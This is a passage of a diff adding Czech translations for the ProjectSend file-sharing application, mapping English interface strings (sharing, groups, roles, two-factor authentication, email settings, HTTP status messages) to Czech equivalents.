"Zosobnit se", + "Impersonation": "Předstírání identity", + "Import": "Import", + "Import :name": "Import :name", + "Import orphan files": "Naimportovat osiřelé soubory", + "Import selected": "Naimportovat vybrané", + "Imported the orphan file \":subject\"": "Naimportoval(a) osiřelý soubor \":subject\"", + "Inactive": "Neaktivní", + "Include this file when a group it's shared with is public.": "Zahrnout tento soubor, když je skupina, se kterou je sdílen, veřejná.", + "Insert": "Vložit", + "Installed ProjectSend": "Nainstaloval(a) ProjectSend", + "Insufficient Storage": "Nedostatek úložiště", + "Internal Server Error": "Interní chyba serveru", + "Introduction": "Úvod", + "Invalid filename.": "Neplatný název souboru.", + "Invalid JSON was returned from the route.": "Z trasy byl vrácen neplatný JSON.", + "Invalid SSL Certificate": "Neplatný certifikát SSL", + "Label": "Popisek", + "Last modified": "Naposledy změněno", + "Latest files": "Nejnovější soubory", + "Leave": "Opustit", + "Leave empty for a link that never expires.": "Nechte prázdné, pokud odkaz nemá nikdy vypršet.", + "Leave empty for unlimited downloads.": "Nechte prázdné pro neomezený počet stažení.", + "Leave group": "Opustit skupinu", + "Leave this group?": "Opustit tuto skupinu?", + "Left the group \":subject\"": "Opustil(a) skupinu \":subject\"", + "length": "délka", + "Length Required": "Požadovaná délka", + "Library": "Knihovna", + "Light": "Světlý", + "Like": "Jako", + "Limit download counts": "Omezování počtu stažení", + "Limit to assigned clients": "Omezit na přiřazené klienty", + "Limits for files uploaded to this installation": "Limity pro soubory nahrávané do této instalace", + "Link unavailable": "Odkaz není dostupný", + "Load": "Zatížení", + "Loading…": "Načítání…", + "Local storage": "Místní úložiště", + "Localize": "Lokalizovat", + "Location": "Umístění", + "Locked": "Zamčeno", + "Log in": "Přihlásit se", + "Log In": "Přihlásit se", + "Log in to your account": "Přihlaste se ke svému účtu", + "Log out": "Odhlásit se", + "Log Out": "Odhlásit", + "Logged in": "Přihlásil(a) se", + "Logged out": "Odhlásil(a) se", + "Login": "Přihlášení", + "Logout": "Odhlášení", + "Loop Detected": "Zjištěna smyčka", + "Mail provider settings saved.": "Nastavení poskytovatele e-mailu uloženo.", + "Mailgun": "Mailgun", + "Maintenance Mode": "údržbový mód", + "Manage custom fields": "Správa vlastních polí", + "Manage public links from the edit page.": "Veřejné odkazy spravujete na stránce úprav.", + "Manage system users and roles": "Správa uživatelů systému a rolí", + "Manage updates": "Správa aktualizací", + "Manage your profile and account settings": "Spravujte svůj profil a nastavení účtu", + "Mark all read": "Označit vše jako přečtené", + "Mark as read": "Označit jako přečtené", + "Mark as unread": "Označit jako nepřečtené", + "Max downloads": "Max. stažení", + "Maximum file size (MB)": "Maximální velikost souboru (MB)", + "Member": "Člen", + "Members": "Členové", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Členové této role vidí pouze soubory a složky klientů, kteří jim byli přiřazeni, a k tomu vlastní nahrané soubory.", + "Membership request approved.": "Žádost o členství schválena.", + "Membership request denied.": "Žádost o členství zamítnuta.", + "Membership requests": "Žádosti o členství", + "Membership requests are reviewed by an administrator": "Žádosti o členství posuzuje administrátor", + "Method Not Allowed": "metoda není povolena", + "Minutes until the reset link expires": "Minuty do vypršení odkazu pro obnovu hesla", + "Misdirected Request": "Špatně směrovaný požadavek", + "Modified": "Změněno", + "Moved Permanently": "Přesunuto natrvalo", + "Moved the folder \":subject\"": "Přesunul(a) složku \":subject\"", + "Multi-line text": "Víceřádkový text", + "Multi-Status": "Vícestavové", + "Multiple Choices": "Více možností", + "Multiple files/folders shared at once (digest)": "Více souborů/složek sdílených najednou (souhrn)", + "My files": "Moje soubory", + "My groups": "Moje skupiny", + "Name": "Název", + "Name or description": "Název nebo popis", + "Name or email address": "Jméno nebo e-mailová adresa", + "Never": "Nikdy", + "Never expires": "Nikdy nevyprší", + "Network Authentication Required": "Je vyžadováno síťové ověření", + "Network Connect Timeout Error": "Chyba vypršení časového limitu síťového připojení", + "Network Read Timeout Error": "Chyba časového limitu čtení sítě", + "New": "Nový", + "New :name": "Nové :name", + "New category": "Nová kategorie", + "New client": "Nový klient", + "New client registrations and client uploads are sent here — at least one address is required.": "Sem chodí nové registrace klientů a jejich nahrané soubory — je potřeba alespoň jedna adresa.", + "New field": "Nové pole", + "New folder": "Nová složka", + "New group": "Nová skupina", + "New membership request from :client for the group \":group\".": "Nová žádost o členství od :client pro skupinu \":group\".", + "New password (leave blank to keep current)": "Nové heslo (nechte prázdné pro zachování stávajícího)", + "New role": "Nová role", + "New user": "Nový uživatel", + "News": "Novinky", + "Next": "Další", + "No": "Ne", + "No activity matches these filters.": "Těmto filtrům neodpovídá žádná aktivita.", + "No activity recorded yet.": "Zatím nebyla zaznamenána žádná aktivita.", + "No categories match your search.": "Vašemu hledání neodpovídá žádná kategorie.", + "No categories yet.": "Zatím žádné kategorie.", + "No clients match these filters.": "Těmto filtrům neodpovídá žádný klient.", + "No clients yet.": "Zatím žádní klienti.", + "No comments match these filters.": "Těmto filtrům neodpovídá žádný komentář.", + "No Content": "Žádný obsah", + "No custom fields yet.": "Zatím žádná vlastní pole.", + "No downloads recorded yet.": "Zatím nebylo zaznamenáno žádné stažení.", + "No fields match your search.": "Vašemu hledání neodpovídá žádné pole.", + "No files have been shared with you yet.": "Zatím s vámi nebyly sdíleny žádné soubory.", + "No files here yet.": "Zatím zde nejsou žádné soubory.", + "No files or folders match your search.": "Vašemu hledání neodpovídá žádný soubor ani složka.", + "No files yet. Upload the first one.": "Zatím žádné soubory. Nahrajte první.", + "No folder": "Žádná složka", + "No groups match these filters.": "Těmto filtrům neodpovídá žádná skupina.", + "No groups yet.": "Zatím žádné skupiny.", + "No members yet.": "Zatím žádní členové.", + "No more categories": "Žádné další kategorie", + "No more clients to add": "Žádní další klienti k přidání", + "No news yet.": "Zatím žádné novinky.", + "No orphan files found.": "Nenalezeny žádné osiřelé soubory.", + "No orphan files match your search.": "Vašemu hledání neodpovídá žádný osiřelý soubor.", + "No pending requests.": "Žádné čekající žádosti.", + "No public links yet.": "Zatím žádné veřejné odkazy.", + "No recipients added yet.": "Zatím nebyl přidán žádný příjemce.", + "No requests match your search.": "Vašemu hledání neodpovídá žádná žádost.", + "No roles match this filter.": "Tomuto filtru neodpovídá žádná role.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Bez omezení velikosti. Nahrávání lze pozastavit a po přerušení pokračuje automaticky.", + "No users match these filters.": "Těmto filtrům neodpovídá žádný uživatel.", + "No users yet.": "Zatím žádní uživatelé.", + "Nobody (optional for everyone)": "Nikdo (volitelné pro všechny)", + "Non-Authoritative Information": "Neautoritativní informace", + "None": "Žádné", + "None of the selected items could be found.": "Nebyla nalezena žádná z vybraných položek.", + "Not Acceptable": "Nepřijatelné", + "Not Extended": "Není rozšířeno", + "Not Found": "Nenalezeno", + "Not Implemented": "Není implementováno", + "Not Modified": "Nezměněno", + "Not shared with anyone yet.": "Zatím nesdíleno s nikým.", + "Notification settings": "Nastavení upozornění", + "Notifications": "Upozornění", + "Nothing is publicly shared yet.": "Zatím není nic veřejně sdíleno.", + "of": "z", + "OK": "Dobře", + "One option per line": "Jedna možnost na řádek", + "Only clients can be group members.": "Členy skupiny mohou být pouze klienti.", + "Only clients can comment here.": "Zde mohou komentovat pouze klienti.", + "Only for anonymous downloads": "Pouze u anonymních stažení", + "Only people who are signed in can comment here.": "Zde mohou komentovat pouze přihlášení lidé.", + "Only staff can comment here.": "Zde může komentovat pouze tým.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Upravovat lze pouze text níže — tlačítka a odkazy v tomto e-mailu zůstávají beze změny.", + "Open": "OTEVŘENO", + "Open folder": "Otevřít složku", + "Open in a current window": "Otevřít v aktuálním okně", + "Open in a new window": "Otevřít v novém okně", + "Open in a parent frame": "Otevřít v nadřazeném rámci", + "Open in the topmost frame": "Otevřete v nejvyšším rámu", + "Open on the website": "Otevřít na webu", + "Open public listing": "Otevřít veřejný seznam", + "Options": "Možnosti", + "Or enter this key manually:": "Nebo zadejte tento klíč ručně:", + "Orange": "Oranžová", + "Origin Is Unreachable": "Původ je nedosažitelný", + "Outgoing email": "Odchozí e-mail", + "Outgoing email theme": "Motiv odchozích e-mailů", + "Page :current of :last": "Stránka :current z :last", + "Page Expired": "Stránka vypršela", + "Pagination Navigation": "Stránkování navigace", + "Partial Content": "Částečný obsah", + "Password": "Heslo", + "Password reset": "Obnova hesla", + "Path": "Cesta", + "Payload Too Large": "Příliš velké užitečné zatížení", + "Payment Required": "Platba vyžadována", + "Pending approval": "Čeká na schválení", + "Permanent Redirect": "Trvalé přesměrování", + "Permanently erased a deleted account": "Trvale vymazal(a) smazaný účet", + "Permissions": "Oprávnění", + "Pink": "Růžová", + "Platform": "Platforma", + "Please click the button below to verify your email address.": "Klepnutím na tlačítko níže ověřte svou e-mailovou adresu.", + "Port": "Port", + "Postmark": "Postmark", + "Powered by ProjectSend": "Používá ProjectSend", + "Precondition Failed": "Předpoklad se nezdařil", + "Precondition Required": "Předpoklad Vyžadován", + "Preparing your download…": "Připravujeme vaše stažení…", + "Preview": "Náhled", + "Preview: :theme": "Náhled: :theme", + "Previous": "Předchozí", + "Price": "Cena", + "Privacy": "Soukromí", + "Privacy settings": "Nastavení soukromí", + "Private": "Soukromé", + "Processing": "zpracovává se", + "Profile": "Profil", + "Profile information was updated": "Údaje profilu byly aktualizovány", + "ProjectSend :latestVersion is available (you have :currentVersion)": "Je k dispozici ProjectSend :latestVersion (máte :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend je svobodný software s otevřeným zdrojovým kódem pro posílání souborů vašim klientům. Vychází pod licencí :license, což znamená, že jej můžete volně používat, studovat, měnit a sdílet.", + "ProjectSend is ready": "ProjectSend je připraven", + "ProjectSend was installed": "ProjectSend byl nainstalován", + "Provider": "Poskytovatel", + "Proxy Authentication Required": "Je vyžadováno ověření proxy", + "Public": "Veřejné", + "Public file": "Veřejný soubor", + "Public files": "Veřejné soubory", + "Public group": "Veřejná skupina", + "Public group listing": "Veřejný seznam skupin", + "Public groups": "Veřejné skupiny", + "Public link": "Veřejný odkaz", + "Public link created.": "Veřejný odkaz vytvořen.", + "Public link revoked.": "Veřejný odkaz zneplatněn.", + "Public links": "Veřejné odkazy", + "Public listing": "Veřejný seznam", + "Public listing settings": "Nastavení veřejného seznamu", + "Public listing URL": "URL veřejného seznamu", + "Public pages & portal": "Veřejné stránky a portál", + "Public pages and client portal theme": "Motiv veřejných stránek a klientského portálu", + "Published": "Zveřejněno", + "Purple": "Fialová", + "Quota": "Kvóta", + "Railgun Error": "Chyba Railgun", + "Range Not Satisfiable": "Rozsah není uspokojivý", + "Read more": "Číst dál", + "Reassign them to": "Převést je na", + "Recent activity": "Nedávná aktivita", + "Recipient": "Příjemce", + "Record": "Záznam", + "Record IP addresses for downloads": "Zaznamenávat IP adresy u stažení", + "Recovery code": "Záložní kód", + "Red": "Červená", + "Regards,": "S pozdravem,", + "Regenerate recovery codes": "Vygenerovat nové záložní kódy", + "Regenerate recovery codes?": "Vygenerovat nové záložní kódy?", + "Regenerated two-factor recovery codes": "Vygeneroval(a) nové záložní kódy dvoufázového ověření", + "Register": "Registrace", + "Register to access the files shared with you.": "Zaregistrujte se, abyste získali přístup k souborům sdíleným s vámi.", + "Register to request access. An administrator will review your request.": "Zaregistrujte se a požádejte o přístup. Administrátor vaši žádost posoudí.", + "Registered a new client account": "Zaregistroval(a) nový klientský účet", + "Related": "Související", + "Remember me": "Zapamatovat si mě", + "Remove": "Odebrat", + "Removed \":member\" from the group \":subject\"": "Odebral(a) \":member\" ze skupiny \":subject\"", + "Removed the file \":subject\" from :target": "Odebral(a) soubor \":subject\" od :target", + "Rename": "Přejmenovat", + "Renamed the folder \":subject\"": "Přejmenoval(a) složku \":subject\"", + "Repository": "Repozitář", + "Request declined": "Žádost zamítnuta", + "Request Header Fields Too Large": "Pole záhlaví požadavku jsou příliš velká", + "Request membership": "Požádat o členství", + "Request membership to groups (optional)": "Požádat o členství ve skupinách (nepovinné)", + "Request Timeout": "Zažádat o timeout", + "Requested": "Požádáno", + "Requested membership to the group \":subject\"": "Požádal(a) o členství ve skupině \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Požadovaná členství čekají na schválení ve frontě žádostí o členství.", + "Require two-factor authentication": "Vyžadovat dvoufázové ověření", + "Required": "Povinné", + "Reset Content": "Obnovit obsah", + "Reset Password": "Obnovit heslo", + "Reset Password Notification": "Požadavek na obnovení hesla", + "Reset this email to its default wording?": "Vrátit tento e-mail na výchozí znění?", + "Reset to default": "Obnovit výchozí", + "Restore": "Obnovit", + "Restore :name": "Obnovit :name", + "Restricted extension": "Omezená přípona", + "Result": "Výsledek", + "results": "výsledky", + "Review membership requests": "Posuzování žádostí o členství", + "Review pending requests": "Posoudit čekající žádosti", + "Retry With": "Zkuste to znovu s", + "Revoke": "Zneplatnit", + "Revoke link": "Zneplatnit odkaz", + "Revoke this public link?": "Zneplatnit tento veřejný odkaz?", + "Revoked a public link for the file \":subject\"": "Zneplatnil(a) veřejný odkaz na soubor \":subject\"", + "Role": "Role", + "Role created.": "Role vytvořena.", + "Role deleted.": "Role smazána.", + "Role name": "Název role", + "Role updated.": "Role aktualizována.", + "Roles": "Role", + "Sample email": "Ukázkový e-mail", + "Save": "Uložit", + "Save :name": "Uložit :name", + "Save & Close": "Uložit a zavřít", + "Save & Return": "Uložit a vrátit", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Uložte změny, aby se to zveřejnilo — do té doby tato tlačítka míří na stránku, která ještě není zveřejněná.", + "Saved": "Uloženo", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Naskenujte tento QR kód ověřovací aplikací a poté pro potvrzení zadejte šestimístný kód.", + "Scanning:": "Prohledávání:", + "Scheduled tasks": "Naplánované úlohy", + "Search": "Vyhledávání", + "Search :name": "Hledat :name", + "Search all files and folders": "Prohledat všechny soubory a složky", + "Search by client or group": "Hledat podle klienta nebo skupiny", + "Search by name": "Hledat podle názvu", + "Search by name or email address": "Hledat podle jména nebo e-mailové adresy", + "Search by path": "Hledat podle cesty", + "Search categories": "Hledat kategorie", + "Search fields": "Hledat pole", + "Search your files": "Prohledat své soubory", + "Security": "Zabezpečení", + "Security settings": "Nastavení zabezpečení", + "See Other": "Viz Ostatní", + "Select": "Vybrat", + "Select :name": "Vybrat :name", + "Select a client or group": "Vyberte klienta nebo skupinu", + "Select a client to add": "Vyberte klienta k přidání", + "Select a role": "Vyberte roli", + "Select All": "Vybrat vše", + "Select an option": "Vyberte možnost", + "Select at least one file or folder.": "Vyberte alespoň jeden soubor nebo složku.", + "Self-registered clients join this group automatically.": "Klienti, kteří se zaregistrují sami, se do této skupiny přidají automaticky.", + "Send": "Poslat", + "Send email notifications": "Posílat upozornění e-mailem", + "Send test email": "Odeslat zkušební e-mail", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Odešle hned teď skutečný e-mail mimo frontu, abyste si ověřili, že nastavení výše opravdu funguje.", + "Separate paragraphs with a blank line.": "Odstavce oddělujte prázdným řádkem.", + "Server Error": "Chyba serveru", + "Service Unavailable": "Služba je nedostupná", + "Session Has Expired": "Platnost relace vypršela", + "Set file expiration dates": "Nastavování data vypršení souborů", + "Set to 0 for no limit. Available disk space still applies.": "Zadejte 0, pokud nemá platit žádný limit. Dostupné místo na disku platí i nadále.", + "Set to 0 to allow requesting again immediately.": "Zadejte 0, chcete-li povolit okamžitou opakovanou žádost.", + "Set up ProjectSend": "Nastavit ProjectSend", + "Settings": "Nastavení", + "Settings that apply to the whole installation": "Nastavení platná pro celou instalaci", + "Setup complete": "Nastavení dokončeno", + "Share a file with the people who manage your account.": "Sdílejte soubor s lidmi, kteří spravují váš účet.", + "Share files with several clients at once": "Sdílejte soubory s několika klienty najednou", + "Shared the folder \":subject\" with :target": "Nasdílel(a) složku \":subject\" s :target", + "Shared with": "Sdíleno s", + "Shared with :count": "Sdíleno s: :count", + "Sharing": "Sdílení", + "Sharing a folder shares everything inside it, now and later": "Sdílením složky sdílíte celý její obsah, nyní i později", + "Show": "Ukázat", + "Show :name": "Zobrazit :name", + "Show All": "Ukázat vše", + "Showing": "Zobrazení", + "Showing matches from across your library": "Výsledky z celé vaší knihovny", + "Showing matches from everything shared with you": "Výsledky ze všeho, co s vámi bylo sdíleno", + "Shown across the application and to your clients.": "Zobrazuje se v celé aplikaci i vašim klientům.", + "Shows a registration form on the login screen.": "Zobrazí na přihlašovací obrazovce registrační formulář.", + "Sign In": "Přihlásit se", + "Sign up": "Zaregistrovat se", + "Site name": "Název webu", + "Size": "Velikost", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Vynechat IP adresu, pokud stahuje přihlášený účet — jeho totožnost je už známá.", + "SMTP configuration": "Nastavení SMTP", + "Source code": "Zdrojový kód", + "Special public links": "Zvláštní veřejné odkazy", + "Solve": "Řešit", + "Something went wrong. Please try again.": "Něco se pokazilo. Zkuste to prosím znovu.", + "SSL": "SSL", + "SSL Handshake Failed": "SSL Handshake se nezdařilo", + "Staff": "Tým", + "Start": "Start", + "Status": "Stav", + "Stop": "Stop", + "Stopped sharing the folder \":subject\" with :target": "Přestal(a) sdílet složku \":subject\" s :target", + "Storage": "Úložiště", + "Storage free": "Volné místo", + "Storage quota (MB)": "Kvóta úložiště (MB)", + "Storage used": "Využité místo", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Uložte si tyto záložní kódy na bezpečné místo. Každý lze použít jednou, pokud ztratíte přístup k ověřovací aplikaci.", + "Subfolders": "Podsložky", + "Subject": "Předmět", + "Submit": "Předložit", + "Subscribe": "Přihlásit se k odběru", + "Success: test email sent to :email via :hostport.": "Úspěch: zkušební e-mail odeslán na :email přes :hostport.", + "Support the project": "Podpořte projekt", + "Switch": "Přepínač", + "Switch To Role": "Přepnout do role", + "Switching Protocols": "Přepínací protokoly", + "System": "Systém", + "System Administrator": "Správce systému", + "System settings": "Nastavení systému", + "System settings were updated": "Nastavení systému bylo aktualizováno", + "System users": "Uživatelé systému", + "Tag": "Štítek", + "Tags": "Tagy", + "Temporary Redirect": "Dočasné přesměrování", + "Test": "Test", + "Text": "Text", + "Text or author": "Text nebo autor", + "The account of :name will be permanently deleted. This cannot be undone.": "Účet :name bude trvale smazán. Tuto akci nelze vrátit zpět.", + "The account password was changed": "Heslo k účtu bylo změněno", + "The account request of :name will be denied and the account deleted.": "Žádost o účet od :name bude zamítnuta a účet smazán.", + "The administrator account was created successfully.": "Účet administrátora byl úspěšně vytvořen.", + "The administrator role always has every permission and cannot be edited.": "Role administrátora má vždy všechna oprávnění a nelze ji upravovat.", + "The base URL segment for public group pages, e.g. :url": "Základní část URL pro stránky veřejných skupin, např. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "Kategorie \":name\" bude odebrána ze všech svých souborů. Samotné soubory se nesmažou.", + "The client's email address": "E-mailová adresa klienta", + "The client's name": "Jméno klienta", + "The clients this group shares files with": "Klienti, se kterými tato skupina sdílí soubory", + "The field \":name\" and all its stored values will be permanently deleted.": "Pole \":name\" a všechny v něm uložené hodnoty budou trvale smazány.", + "The file \":file\" was uploaded by :client.": "Soubor \":file\" nahrál(a) :client.", + "The file \":name\" has been shared with you.": "Soubor \":name\" byl s vámi sdílen.", + "The file \":name\" will no longer be available to anyone it was shared with.": "Soubor \":name\" už nebude dostupný nikomu, s kým byl sdílen.", + "The file name": "Název souboru", + "The file or folder name": "Název souboru nebo složky", + "The file will be permanently removed from disk. This cannot be undone.": "Soubor bude trvale odstraněn z disku. Tuto akci nelze vrátit zpět.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Soubory veřejné skupiny si může projít kdokoli s odkazem, bez přihlášení.", + "The files shared with you": "Soubory sdílené s vámi", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Složka \":name\" i celý její obsah budou smazány. Administrátor to může vrátit zpět.", + "The following :count items have been shared with you:": "S vámi byly sdíleny tyto položky (počet: :count):", + "The folder \":name\" has been shared with you.": "Složka \":name\" byla s vámi sdílena.", + "The given data was invalid.": "Uvedené údaje byly neplatné.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Skupina \":name\" bude smazána. Její klienti si své účty ponechají.", + "The group name": "Název skupiny", + "The groups you belong to and the ones you can ask to join": "Skupiny, do kterých patříte, a ty, o vstup do kterých můžete požádat", + "The header/footer style used for every outgoing notification email.": "Styl záhlaví a zápatí použitý u každého odchozího e-mailu s upozorněním.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Vzhled veřejných stránek pro návštěvníky, klientského portálu a odchozích e-mailů s upozorněními.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Samotný poštovní server se nastavuje v souboru .env této instalace (proměnné MAIL_*), nikoli zde.", + "The people who administer this installation and upload files": "Lidé, kteří spravují tuto instalaci a nahrávají soubory", + "The people you share files with": "Lidé, se kterými sdílíte soubory", + "The provided two-factor authentication code was invalid.": "Zadaný kód dvoufázového ověření nebyl platný.", + "The release this installation is running, and where it comes from.": "Verze, na které tato instalace běží, a odkud pochází.", + "The response is not a streamed response.": "Odpověď není streamovaná odpověď.", + "The response is not a view.": "Odpověď není pohled.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Role \":name\" bude trvale smazána. Tuto akci nelze vrátit zpět.", + "The selected folders are empty.": "Vybrané složky jsou prázdné.", + "The uploading client's name": "Jméno klienta, který soubor nahrává", + "Their account is waiting for approval.": "Tento účet čeká na schválení.", + "There is nothing to configure yet.": "Zatím není co nastavovat.", + "Test email from :site": "Zkušební e-mail ze :site", + "These files will be permanently removed from disk. This cannot be undone.": "Tyto soubory budou trvale odstraněny z disku. Tuto akci nelze vrátit zpět.", + "Theme": "Motiv", + "Theme updated.": "Motiv aktualizován.", + "Theming": "Motivy", + "Theming settings": "Nastavení motivů", + "This action is unauthorized.": "Tato akce je neoprávněná.", + "This file exceeds the maximum allowed size of :max MB.": "Tento soubor překračuje maximální povolenou velikost :max MB.", + "This folder is empty.": "Tato složka je prázdná.", + "This installation has no administrator yet. Create the first one to get started.": "Tato instalace zatím nemá administrátora. Vytvořte prvního a můžete začít.", + "This is a built-in role; its scope can't be changed.": "Toto je vestavěná role; její rozsah nelze změnit.", + "This is a preview of the :theme email theme.": "Toto je náhled e-mailového motivu :theme.", + "This is a sample email — no notification was actually sent.": "Toto je ukázkový e-mail — žádné upozornění nebylo doopravdy odesláno.", + "This is a test email from :site.": "Toto je zkušební e-mail ze :site.", + "This is the last active administrator account.": "Toto je poslední aktivní účet administrátora.", + "This link cannot match the file's own public URL slug.": "Tento odkaz nesmí být shodný s vlastním veřejným URL identifikátorem souboru.", + "This link doesn't exist or has been revoked.": "Tento odkaz neexistuje nebo byl zneplatněn.", + "This link has expired.": "Platnost tohoto odkazu vypršela.", + "This link has reached its download limit.": "Tento odkaz dosáhl svého limitu stažení.", + "This password reset link will expire in :count minutes.": "Tento odkaz pro obnovení hesla vyprší za :count minut.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Tímto trvale odstraníte všechny neúspěšné úlohy ze seznamu, aniž byste kteroukoli zopakovali. Tuto akci nelze vrátit zpět.", + "This role is assigned to accounts and cannot be deleted.": "Tato role je přiřazena účtům a nelze ji smazat.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Tato role vidí pouze soubory a složky těchto klientů a k tomu vlastní nahrané soubory.", + "This upload would exceed your storage quota of :quota MB.": "Toto nahrání by překročilo vaši kvótu úložiště :quota MB.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Tip: soubory a složky přesunete přetažením na složku nebo na drobečkovou navigaci.", + "Title": "Nadpis", + "Title (optional)": "Nadpis (nepovinné)", + "TLS": "TLS", + "to": "na", + "To": "Komu", + "Toggle navigation": "Přepnout navigaci", + "Too Early": "Příliš brzy", + "Too many files selected. Choose a smaller selection and try again.": "Vybráno příliš mnoho souborů. Zvolte menší výběr a zkuste to znovu.", + "Too Many Requests": "Příliš mnoho požadavků", + "Transactional email settings for this installation": "Nastavení transakčních e-mailů této instalace", + "Transfers — last 30 days": "Přenosy — posledních 30 dní", + "Translate": "přeložit", + "Translate It": "Přelož to", + "Turns all transactional email for this installation on or off.": "Zapíná nebo vypíná všechny transakční e-maily této instalace.", + "Two-factor auth": "Dvoufázové ověření", + "Two-factor authentication": "Dvoufázové ověření", + "Two-factor authentication is enabled.": "Dvoufázové ověření je zapnuté.", + "Two-factor authentication was disabled": "Dvoufázové ověření bylo vypnuto", + "Two-factor authentication was enabled": "Dvoufázové ověření bylo zapnuto", + "Two-factor recovery codes were regenerated": "Byly vygenerovány nové záložní kódy dvoufázového ověření", + "Type": "Typ", + "Unauthorized": "Neautorizováno", + "Unavailable For Legal Reasons": "Z právních důvodů nedostupné", + "Unchanged": "Beze změny", + "Unknown Error": "Neznámá chyba", + "Unlimited": "Bez omezení", + "Unpack": "Rozbalit", + "Unprocessable Entity": "Nezpracovatelná entita", + "Unsubscribe": "Odhlásit odběr", + "Unsupported Media Type": "Nepodporovaný typ média", + "Up": "Nahoru", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Až :max MB na soubor. Nahrávání lze pozastavit a po přerušení pokračuje automaticky.", + "Update": "Aktualizace", + "Update :name": "Aktualizace :name", + "Updated the account \":subject\"": "Aktualizoval(a) účet \":subject\"", + "Updated the file \":subject\"": "Aktualizoval(a) soubor \":subject\"", + "Updated the group \":subject\"": "Aktualizoval(a) skupinu \":subject\"", + "Updated the role \":subject\"": "Aktualizoval(a) roli \":subject\"", + "Updated the system settings (:section)": "Aktualizoval(a) nastavení systému (:section)", + "Updated their profile information": "Aktualizoval(a) údaje svého profilu", + "Upgrade Required": "Je vyžadován upgrade", + "Upload": "Nahrát", + "Upload a file": "Nahrát soubor", + "Upload files": "Nahrávání souborů", + "Upload public files": "Nahrávání veřejných souborů", + "Upload settings": "Nastavení nahrávání", + "Upload to public folders": "Nahrávání do veřejných složek", + "Uploaded by": "Nahrál(a)", + "Uploaded the file \":subject\"": "Nahrál(a) soubor \":subject\"", + "Uploader": "Nahrál(a)", + "Uploads": "Nahrané soubory", + "Uploads (chart)": "Nahrané soubory (graf)", + "URI Too Long": "URI je příliš dlouhý", + "URL slug": "URL identifikátor", + "Use a custom link instead of a random one": "Použít vlastní odkaz místo náhodného", + "Use a recovery code": "Použít záložní kód", + "Use an authentication code": "Použít ověřovací kód", + "Use Proxy": "Použij proxy", + "Use the navigation to get started.": "Začněte pomocí navigace.", + "Used": "Využito", + "Used in the public file URL when this file is public.": "Používá se ve veřejné URL souboru, když je soubor veřejný.", + "Used in the public group URL when this group is public.": "Používá se ve veřejné URL skupiny, když je skupina veřejná.", + "User": "Uživatel", + "User created.": "Uživatel vytvořen.", + "User deleted.": "Uživatel smazán.", + "User updated.": "Uživatel aktualizován.", + "Users": "Uživatelé", + "Username": "Uživatelské jméno", + "Variant Also Negotiates": "Varianta také vyjednává", + "Verify Email Address": "Ověřte e-mailovou adresu", + "Version": "Verze", + "Version :version": "Verze :version", + "View": "Náhled", + "View :name": "Zobrazit :name", + "View all": "Zobrazit vše", + "View dashboard counters": "Zobrazení počitadel přehledu", + "View file": "Zobrazit soubor", + "View news": "Zobrazení novinek", + "View statistics": "Zobrazení statistik", + "View system information": "Zobrazení informací o systému", + "Visible widgets": "Viditelné widgety", + "View the activity log": "Zobrazení záznamu aktivity", + "View your files": "Zobrazení vlastních souborů", + "Visibility": "Viditelnost", + "Visitors": "Návštěvníci", + "Warning": "Upozornění", + "Web Server is Down": "Webový server nefunguje", + "Website": "Web", + "Welcome": "Vítejte", + "Welcome to ProjectSend": "Vítejte v ProjectSend", + "What each kind of account is allowed to do": "Co smí jednotlivé druhy účtů", + "When an account is erased, its files and folders": "Když je účet vymazán, jeho soubory a složky", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Když je zapnuto, budeme při přihlášení chtít bezpečnostní kód z vašeho telefonu.", + "When off, self-registered clients wait in the account requests queue until approved.": "Když je vypnuto, klienti, kteří se zaregistrují sami, čekají na schválení ve frontě žádostí o účet.", + "Where outgoing email is actually sent from.": "Adresa, ze které odchozí e-maily skutečně odcházejí.", + "Whoops!": "Jejda!", + "Widgets": "Widgety", + "Worth including when you report a problem.": "Hodí se to přiložit, když hlásíte problém.", + "Written by": "Napsal(a)", + "Yellow": "Žlutá", + "Yes": "Ano", + "You are commenting too quickly. Try again in a moment.": "Komentujete příliš rychle. Zkuste to za chvíli znovu.", + "You are commenting too quickly. Try again in :seconds seconds.": "Komentujete příliš rychle. Zkuste to znovu za :seconds s.", + "You are not a member of any group yet.": "Zatím nejste členem žádné skupiny.", + "You are receiving this email because we received a password reset request for your account.": "Tato zpráva vám byla doručena na základě žádosti pro obnovení hesla.", + "You can only share with the clients assigned to you.": "Můžete sdílet pouze s klienty, kteří vám byli přiřazeni.", + "You cannot comment on this file.": "Tento soubor nemůžete komentovat.", + "You cannot deactivate your own account.": "Vlastní účet deaktivovat nemůžete.", + "You cannot delete your own account.": "Vlastní účet smazat nemůžete.", + "You have no notifications yet.": "Zatím nemáte žádná upozornění.", + "You will no longer receive files shared with the group \":name\".": "Už nebudete dostávat soubory sdílené se skupinou \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Údaje vašeho účtu nedávno změnil administrátor. Pokud jste to nečekali, obraťte se na svého administrátora.", + "Your account has been approved": "Váš účet byl schválen", + "Your account has been created. You can log in now.": "Váš účet byl vytvořen. Můžete se přihlásit.", + "Your account has been deactivated.": "Váš účet byl deaktivován.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the 